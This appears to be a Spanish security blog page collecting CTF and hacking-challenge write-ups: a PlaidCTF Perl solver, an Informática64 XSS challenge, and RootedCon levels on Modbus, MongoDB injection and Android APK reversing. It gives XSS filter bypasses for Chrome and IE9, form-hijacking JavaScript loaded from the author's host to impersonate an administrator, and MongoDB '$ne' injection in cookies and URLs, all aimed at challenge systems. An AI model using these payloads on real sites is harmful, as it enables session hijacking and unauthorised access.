

Lo curioso era que si cargabas la dirección del token directamente, también te mostraba esos resultados y, es imposible que dado un token así pueda obtener el username y el status que corresponde. Así que probamos a modificar los valores del token y, efectivamente, según lo que cambiáramos, podíamos alterar los datos.


Lo primero que se nos ocurrió fue cambiar la palabra user por admin:


Los valores a cambiar:
5155572fa13744________0831012355dfdae874c27fdcea73913a7731e6c1fc


Resultado:
5155572fa1374497319ce20831012355dfdae874c27fdcea73913a7731e6c1fc


Y así obteníamos: admi … pero no hubo forma de conseguir la n


<!--
    debug info:

    user_data = pepe|1|admi
    key = Only admins can see the key.
-->


De manera que probamos con root, que tiene la misma longitud que user:


5155572fa13744843a9eff0831012355dfdae874c27fdcea73913a7731e6c1fc


Pero tampoco hubo suerte.


<!--
    debug info:

    user_data = pepe|1|root
    key = Only admins can see the key.
-->


Y tras pensar un poco, recordamos que si poníamos status=1|admin nos generaba un escape en el pipe, pero luego podríamos probar a modificar el token para anular ese escape:


Metemos como parametro: status=1|admin


083a7fb3b87a71290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
    -->


Y modificando el token quitamos la \


083a7fb3b87a70290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1]|admin|user
    key = 2012-04-25_14:46:24.29582+05:27@2012%127.0.0.2_IS_BEST_KEY
    -->


PlaidCTF – The Game write-up

Este fin de semana pudimos jugar al CTF que prepararon los PPP (Plaid Parliament of Pwning) que, para mi gusto, es uno de los más complicados, además de divertidos. La verdad es que no conseguimos pasar del puesto 103 pero aún así nos lo pasamos genial concursando.

 

Entre el resto de equipos españoles, destacar a los int3pids que quedaron en el puesto 11, PentSec en el 74, Activalink en el 80, y algunos otros que quedaron por detrás nuestra.

 

Nosotros pasamos únicamente 4 retos, pero este concretamente me gustó porque había que programar y no sólo estrujarse el cerebro pensando. Está catalogados como nivel medio-fácil (viendo que sólo vale 100 puntos), así que podéis imaginar cómo serían los difíciles 🙂

 

El enunciado decía esto:

 

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
23.22.16.34:6969

 

(nota: por saturación del servidor llegaron a cambiar de máquina 2 veces)

 

Tras conectar con un Netcat al servidor obteníamos algo así:

You have gotten 0 of 75
Choice 1 = f17775ea8c035349a2aca2a8bb3072897e
Choice 2 = 8ad96c125229183197c5ac7901216ba07f
Which one is bigger? (1 or 2)

A lo que debíamos aceptar 75 veces cuál de los dos era mayor, pero tras perder mucho tiempo buscando la lógica de los hashes:

 

– Mirando cuál era mayor
– Sumando los números
– Sumando las letras
– Comparando cada dígito
etc.

 

Al final optamos por programar un script que memorizara las soluciones a la espera de que se produjeran repeticiones.

 

Lo que hace el script es:

1- Preparamos 2 arrays para almacenar las parejas de tokens, en el primer array guardaremos los mayores y en el segundo, los menores.
2- Verificamos si la combinación solicitada está en nuestra lista de tokens almacenados (T1 > T2 o T2 > T1).
3- Si no está, verificamos si tenemos esos tokens guardados y hay algún valor intermedio que nos permita deducir si es mayor o menor (T1 > x > T2 o T2 > x > T1).
4- Si no tenemos la respuesta, probamos con un T1 > T2 y guardamos el resultado dependiendo de si hemos acertado o fallado.

 

Además de almacenar los tokens en arrays, los guardamos en disco para no perder los avances en caso de reiniciar por a algún fallo del server.

 

Y el script con el que conseguimos pasar la prueba es:

#!/usr/bin/perl

# by Pepelux

use IO::Socket;

my @t1;	# valores mayores
my @t2;	# valores menores

open (MYFILE, 'TheGame.txt');

while (<MYFILE>) {
	chomp;

	(my $token1, my $token2) = split(/ /, $_, 2);

	push (@t1, $token1);
	push (@t2, $token2);
}

close (MYFILE);

my $sc = new IO::Socket::INET (PeerAddr => '23.22.16.34',
		 PeerPort => '6969',
		 Timeout => '10',
		 Proto => 'tcp')
		 or die("Server is not available.\n");

while (1) {
	# cogemos los datos
	recv($sc, my $data1, 500, undef);
	my $tmp = $data1;
	$tmp =~ /gotten\s([0-9|\s|[a-z]*)/;
	my $values = "Found $1";
	$values =~ s/\n//g;

	if ($data1 =~ /76 of 75/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	if ($data1 !~ /bigger/) {
		recv($sc, my $data2, 500, undef);
	}

	# obtenemos los tokens
	my $tmp = $data1;
	$tmp =~ /Choice\s1\s=\s([a-f|0-9]*)\s/;
	my $token1 = $1;

	$tmp = $data1;
	$tmp =~ /Choice\s2\s=\s([a-f|0-9]*)\s/;
	my $token2 = $1;

	my $res = "1";
	my $new = 1;
	my $type = 0;

	# comprobamos si tenemos ese token guardado
	for (my $i = 0; $i < $#t1; $i++) {
		if (($t1[$i] eq $token1) && ($t2[$i] eq $token2)) {
			$res = "1";
			$new = 0;
			$type = 1;
		}

		if (($t2[$i] eq $token1) && ($t1[$i] eq $token2)) {
			$res = "2";
			$new = 0;
			$type = 2;
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token1 > que algún otro > token2
		FOO1: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token1) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token2)) {
							$res = "1";
							$new = 2;
							$type = 3;
							last FOO1;
						}
					}
				}
			}
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token2 > que algún otro > token1
		FOO2: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token2) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token1)) {
							$res = "2";
							$new = 2;
							$type = 4;
							last FOO2;
						}
					}
				}
			}
		}
	}

	# enviamos la respuesta y obtenemos el resultado
	print $sc "$res\n";
	recv($sc, my $data3, 500, undef);

	if ($data3 =~ /key/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	my $c = "Correct";
	my $ft1 = $token1;
	my $ft2 = $token2;

	# si no estaba almacenada esa combinación de tokens, la guardamos
	if ($new > 0)	{
		# si la respuesta es incorrecta, cambiamos el resultado
		if ($data3 =~ /Wrong/) {
			$c = "Wrong";

			if ($res eq "1") {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
			else {
				push (@t1, $token1);
				push (@t2, $token2);
			}
		}
		else {
			if ($res eq "1") {
				push (@t1, $token1);
				push (@t2, $token2);
			}
			else {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
		}

		# guardamos en un fichero los tokens
		open (MYFILE, '>>TheGame.txt');
		print MYFILE "$ft1 $ft2\n";
		close (MYFILE);
	}
	else {
		$c = "Wrong" if ($data =~ /Wrong/);
	}

	# guardamos en un fichero de logs
	open (MYFILE, '>>TheGame.log');
	print MYFILE "$data1\n";
	print MYFILE "$data2\n";
	print MYFILE "$data3\n";
	close (MYFILE);

	$type = "T1 > T2" if ($type eq 1);
	$type = "T2 > T1" if ($type eq 2);
	$type = "T1 > x > T2" if ($type eq 3);
	$type = "T2 > x > T1" if ($type eq 4);

	print "$values - " . ($#t1+1) . " token pairs saved - $c (res=$res)";
	print " - match found ($type)" if ($new ne 1);
	print "\n";
}

Finalmente, una vez acertadas las 75 respuestas seguidas, en el fichero TheGame.log podemos ver la key para pasar el reto, que es: d03snt_3v3ry0n3_md5

 

Solucionario al Reto de Hacking Infiltrados de Informática64

1- Introducción

La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.

Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.

Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del BrowserSchool, escritos por Beni (buena pieza este Beni, jeje):

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html

2- Análisis del reto

Ya pagué la novatada en el reto de BrowserSchool y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.

Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.

Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.

Lo que nos aparece al entrar en la sala de validación es esto:

3- Fase I

Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.

El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.

Analizando la página de acceso (inicioReto.aspx) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:

inicioReto.aspx?idUsuario=xxx<script>alert(‘XSS’)</script>

Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.

Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia inicioReto.aspx. En ese link viene asociado nuestro ID de usuario.

Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el TamperData, vemos:

Ese enlace que le llega es lo que aparece en el campo ctl00%24cph2%24tbUrl. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.

En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un document.cookie hacia mi máquina, pero no tuve éxito.

Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió.

Si vemos el código fuente de la página nos encontramos con un campo llamado ctl00$cph2$hfidUsuario que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un submit para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple submit hará que pase por la puerta sin tener que escribir su clave de acceso).

Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.

3.1- Mozilla Firefox v4.0.1

En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:

http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6

Para que se vea mejor, voy a desglosar el script que inyecté:

<script type="text/javascript"><!--mce:0--></script>


Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.

3.2- Google Chrome v11.0.696.65

El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->

Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:

<script src=http://url/file.js?

Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):

alert(‘XSS’)

Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:

function f()

{

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809-40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.

Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:

function newInput()

{

var inpt = document.createElement(‘input’);

inpt.type=”text”;

inpt.name=”ctl00_cph2_hfidUsuario”;

inpt.id=”ctl00$cph2$hfidUsuario”;

document.aspnetForm.appendChild(inpt);

document.aspnetForm.innerHTML+=”
”;

}

function f()

{

newInput();

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809- 40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución.

Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:

<iframe src=’data:text/html,<script src=http://url/file.js></script>

Que en local iba bien pero tampoco fue una solución válida.

A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!

La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url

Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:

<script type="text/javascript"><!--mce:1--></script>

3.3- Internet Explorer v9.0.8112.16421

Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:

<sc%0aript>alert(‘XSS’)</script>

Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:

http://3232235876/filejs

En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena.

Y como dije antes, la pasé exactamente igual que con Chrome.

Tras pasar los 3 navegadores, podemos ver algo así:

4- Fase II

Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas.

Que fuera más divertida no quiere decir que fuera más fácil 🙂

Al entrar en el reto vemos esto:

En la URL nos aparecen 2 parámetros (mail y app_hash) y al pinchar en el botón Entrar nos dice que el mail no corresponde con el hash.

La URL es esta:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Y los parámetros:

mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA==

app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Aparentemente, tenemos que conseguir un mail que concuerde con un app_hash y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros.

El mail es claramente un base64 que si hacemos un unbase64 vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra infiltrados aparecía algo que llamaba la atención:

unbase64(mail) XOR ‘infiltrados’

_XZ###strad##&####

Así que probé a concatenar la palabra:

unbase64(mail) XOR ‘infiltradosinfiltrados’

_XZ###strador@informat

Y con algunas pruebas más:

unbase64(mail) XOR ‘infiltradosinfiltradosinfiltrad’

administrador@informatica64.net

El sencillo script que usé fue (en perl, of course! 😛 ):

Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (pepeluxx@gmail.com) … menos mal que no usé ninguna dirección guarrona xDD

Bueno, pues el script que usé es:

Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado:

base64(mail XOR ‘infiltradosinfiltr’)

GrkWDAABChkkCB4IBwpHDxsf

El segundo parámetro, app_hash, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160.

Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el mail era el mismo para todos pero el app_hash variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra IP, este no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.

De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base664 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.

Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un script que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.

El siguiente paso fue añadir al script un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada

Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.

El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era:

SHA1(mi_id concatenado con mi_mail)

Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Donde:

mail=GrkWDAABChkkCB4IBwpHDxsf

app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Y al pasar el reto vemos:

5- Agradecimientos

Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).

También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.

Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc etc etc

Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….

Hasta el próximo!


RootedCon CTF writeup nivel 11

Reto 11

Ya que obtuvimos una IP en el anterior reto, lo primero es hacer un escaneo a ver que hay detrás:

Tras buscar información en Google vemos que se trata de un sistema SCADA:

——————–

Technical description for port 502:

Port 502 is a serial communications protocol also functioning as a programmable logic controller. It has become a de facto standard communications protocol in the information technology industry. Port 502 is now the most popular and most accessible way of networking industrial electronic devices. The port permits the communication between devices connected to the same network. For instance, a system that can measure humidity and temperature can be programmed to communicate the results to a computer. Port 502 is commonly used as a supervisory computer with a remote terminal unit (RTU) to supervisory control and data acquisition (SCADA) systems.

——————–

Según el puerto que está usando, parece que funciona usando el protocolo ModBus (http://es.wikipedia.org/wiki/Modbus). Tras buscar más información en Google di con un script (publicado en una DefCon) que, usando falsos positivos, es capaz de identificar los dispositivos que hay detrás:

http://code.google.com/p/modscan/

Esto nos indica que hay un único dispositivo cuyo SID es 20.

Tras probar, sin éxito, varias librerías de perl y python así como algunos clientes para Linux, intentando conectar con ModBus, al final me funcionó el SimpleModBusTCP (para Windows): http://www.simplymodbus.ca/download.htm

Escribimos la IP del reto y, como Slave ID ponemos 20.

Tras realizar varias pruebas conseguí obtener el resultado que se ve arriba:

>>> 00 02 00 00 00 06 14 01 00 00 00 0A

< 02 00 00 00 00 0D 14 01 43 4F 4E 47 52 41 54 55 4C 41

Que si pasamos de Hex a ASCII obtenemos esto:

#����

##CONGRATULA

Tras darle varias vueltas, al final resultó que en el campo No of regs indicas el número de bytes que deseas recibir. Así que lo incrementé a 50 y obtuve:

#����(##CONGRATULATIONS YOU FINISHED, THE PAS

Ya estamos más cerca!

Probé con 55 pero daba error así que bajé a 53:

Y ya se pudo leer la palabra completa:

#����8##CONGRATULATIONS YOU FINISHED, THE PASSWORD IS LIBERTY

La solución para pasar el reto es: LIBERTY


RootedCon CTF writeup nivel 10

Reto 10

Tras pasar el reto anterior, nos sale por pantalla lo siguiente:

Para poder continuar:

172.23.0.47

Así que hacemos un escaneo a ver qué se esconde tras esa IP:

Y nos encontramos con un HTTPS, así que toca conectarse a ver qué hay en esa web:

Editando el código fuente nos encontramos con una pista:

De forma que si probamos a validarnos como test / test accedemos a otra pantalla:

Analizando con el TamperData podemos ver algunas cosas curiosas:

Tenemos una cookie con 3 valores:

  • PHPSESSID=dg1ofke8qvedlrg0m9g408f5g0
  • tokenid=786aprxg87
  • raw=dGVzdA%3D%3D

Analicemos estos 3 valores:

  • PHPSESSID puede dar lugar a confusión por el nombre de la variable pero el valor que tiene no se corresponde a lo esperado para una variable de sesión, que es un MD5 de 32 bytes. Por tanto ese valor, que por cierto no siempre es el mismo, es bastante sospechoso al tratarse de un ASCII de 30 bytes.
  • tokenid de momento no se lo que es aunque por el nombre, parece tratarse el ID del mensaje que aparece en pantalla. Si lo quito no me aparecen las frases con las conversaciones.
  • raw es el nombre del usuario en Base64, pero aunque lo cambiemos no hace nada diferente.

Una vez validados, por mucho que recarguemos o toquemos las cookies (siempre que no se altere PHPSESSID) lo que nos aparece siempre es:

Estuve buscando información sobre ‘Mongo‘ y me salía un mono. Luego estuve buscando información sobre ‘Mongo chat‘ y me salía una una web de contactos. Así que me quedé algo bloqueado hasta que Pablo, como pista, nos puso una referencia a una de las charlas de la Rooted (como estuve centrado en el CTF, la verdad es que no presté mucha atención a las charlas) acerca de MongoDB. Así que buscando información de nuevo di con esta web:

http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/

en la que explica cómo realizar inyecciones en este sistema:

De forma que, como podemos ver, si no está bien validado, es posible inyectar código y extraer datos.

Tras varias pruebas, al final conseguí inyectar en una de las cookies, concretamente en tokenid:

La cookie original es:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid=786aprxg87;

raw=dGVzdA%3D%3D

que sustituimos por:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid[$ne]=786aprxg87;

raw=YWRtaW4%3D

Lo que estamos diciéndole es que saque todas las tokenid menos la que hay por defecto. Además, cambiamos el raw escribiendo admin en lugar de test (sino da un error).

Como supuse, tokenid era el identificador del mensaje que aparecía por pantalla, esta vez salió:

Pinchando en el primer enlace vamos a:

https://172.23.0.47/index.php?drink=sunny&quantity=1

Donde aparece algo así:

A medida que vamos recargando, va decrementando el número de sunnys hasta que termina diciendo que hemos bebido demasiadas.

Con el segundo enlace ocurre algo similar pero con coffee:

https://172.23.0.47/index.php?drink=coffee&quantity=1

Si nos pasamos pidiendo cafés, por ejemplo poniendo quantity=999, nos aparece:

Finalmente inyectamos también en la URL, concretamente en la bebida (además de en la cookie):

https://172.23.0.47/index.php?drink[$ne]=coffee&quantity=1

Apareciendo:

Y si insistimos, sale nuestra solución del reto:


Para pasar el reto, introducimos la IP que nos aparece: 172.23.0.234


RootedCon CTF writeup nivel 9

Reto 9

En el reto anterior bajamos un fichero APK que parece ser una aplicación de Android así que vamos a abrirla con el emulador:

Firmamos con un certificado aleatorio:

Pasamos el Zipalign:

Y ya podemos instalar en el emulador (necesitamos el Android SDK):

Si metemos cualquier contraseña nos tira del programa. Así que vamos a decompilar el Java a ver que trae.

Tras instalarlo, nos conectamos con una shell a ver dónde lo instaló, para poderlo descargar:

Ahora descargamos el paquete ya instalado:

Renombramos el fichero como un ZIP:

Y lo descomprimimos:

Decompilamos con dex2jar el fichero classes.dex:

Y el JAR generado lo abrimos con el Java Decompiler:

Pinchamos en Save -> All Sources y guardamos los fuentes, creándonos el fichero: classes.dex.dex2jar.src.zip

Lo descomprimimos y obtenemos los fuentes:

Y ahora toca estudiarse bien el código 🙂

Veamos que hace el programa. Para ello, abrimos level.java:

Aquí podemos ver 3 cosas:

  • str1 toma el valor introducido por la pantalla, lo que nosotros escribimos como solución
  • arrayOfByte1 tiene un valor fijo, que es: iloverootedcon
  • arrayOfByte2 se trata de una especie de hash, aún por determinar: c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266

Tras eso vemos una serie de chequeos (concretamente 3) que son los que provocan que la aplicación, al ejecutarla, se cierre tras meter cualquier contraseña:

Mirando por curiosidad el valor de esa especie de hash, 6d656361676f20656e746f646f6f6f6f6f6f6f6f6f6f6f, vemos que se trata de la palabra: ‘mecago entodooooooooooo‘ … jeje muy oportuna a estas alturas 🙂

Si seguimos viendo el código, ahora llega la parte caliente:

A groso modo:

  • arrayOfByte6 toma un valor que recoge de la función readRes().
  • arrayOfByte7 coge el valor que teníamos en arrayOfByte1, es decir, iloverootedcon.
  • str2 es el resultado de lo que hace la función x(), pasando como parámetro arrayOfByte6 y arrayOfByte7.
  • arrayOfByte8 es la cadena que introducimos al ejecutar el programa.
  • arrayOfByte9 es el valor en bytes de str2.

Luego hace un encrypt() usando como parámetros, nuestra cadena y str2, que deducimos que debe ser la key de (des)encriptado.

Si analizamos las funciones de utils.java, podemos ver que se trata de una encriptación AES. Por tanto, necesitamos una clave de cifrado para poder encriptar o desencriptar.

Volviendo a la imagen anterior, podemos deducir lo siguiente:

  • Tenemos el hash resultante:

c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266

  • Utiliza las funciones readRes() y x() para obtener la key, o parte de ella (ya que luego va concatenando ceros).
  • Realiza un bucle en el que va añadiendo ceros (48 en decimal) a la derecha de la key y va probando a encriptar nuestra cadena y comparándola con el hash que tenemos como resultado.
  • En utils.java podemos ver que existe una función decrypt() que no se utiliza en el programa.

Pues la cosa parece clara. Tratamos de usar ese mismo código, quitando las 3 funciones detect() y sustituyendo el encrypt() por un decrypt().

Aquí vino el lío. Jeje el problema es que no es lo mismo que esté claro, a que sea fácil hacerlo 🙂

Yo no soy muy adepto a Java así que, en primer lugar, traté de quitar todas las referencias a Android y compilar el programa en el PC, tal cual estaba. No hubo forma.

Luego probé a recompilar tocando lo mínimo, volver a empaquetar y subir el emulador. Tampoco hubo suerte.

Otra opción era modificar los ficheros SMALI. Imposible, porque eran demasiados cambios los que teníamos que hacer y el código está muy ofuscado.

Lo siguiente que se me ocurrió fue recompilar la aplicación usando Eclipse. Esto funcionó y estuve un rato jugando con el emulador, pero tampoco logré resolver nada (supongo que por mi inexperiencia en Java).

Así que no quedó otra que reconstruir las funciones y generar un único fichero, para poderlo usar desde el PC. En realidad sólo terminaremos usando 4 funciones:

  • hexStringToByteArray()
  • readRes()
  • x()
  • decrypt()

La cosa no fue tan dura como pintaba, aunque sí que dieron guerra algunas cosas:

En esta función vemos context.getString(2130968578) y resulta que es una función de Android, por lo que había que averiguar qué hace exactamente.

Buscando en Google llegué a esta página:

http://developer.android.com/reference/android/content/Context.html que dice:

getString(int resId)

Return a localized string from the application’s package’s default string table.

Buscando dónde coge ese valor llegué hasta R.java, en donde aparece:

Así que pensé que era ese valor: 2130968578. Nada más lejos de la realidad. Tras perder bastante tiempo, resultó que xxx toma su valor en el fichero strings.xml, que podemos encontrar dentro de /res/values/:

Otra función a retocar era x(), que quedó así:

Aquí lo que me dio guerra fue ese str1 = c

Yo pensé que copiaba en el String el valor del Char, es decir:

str1 = String.valueOf(c)

Esto provocaba que la función siempre devolviera un byte[1].

Tras mucho pelear, resultó faltarme un puñetero más (+), es decir:

str1 += String.valueOf(c)

Lo que debe hacer es concatenar los caracteres que va sacando y no quedarse con el último, que es lo que me estaba ocurriendo a mi

Tras ejecutar el programa obtenemos la ansiada contraseña, en decimal:

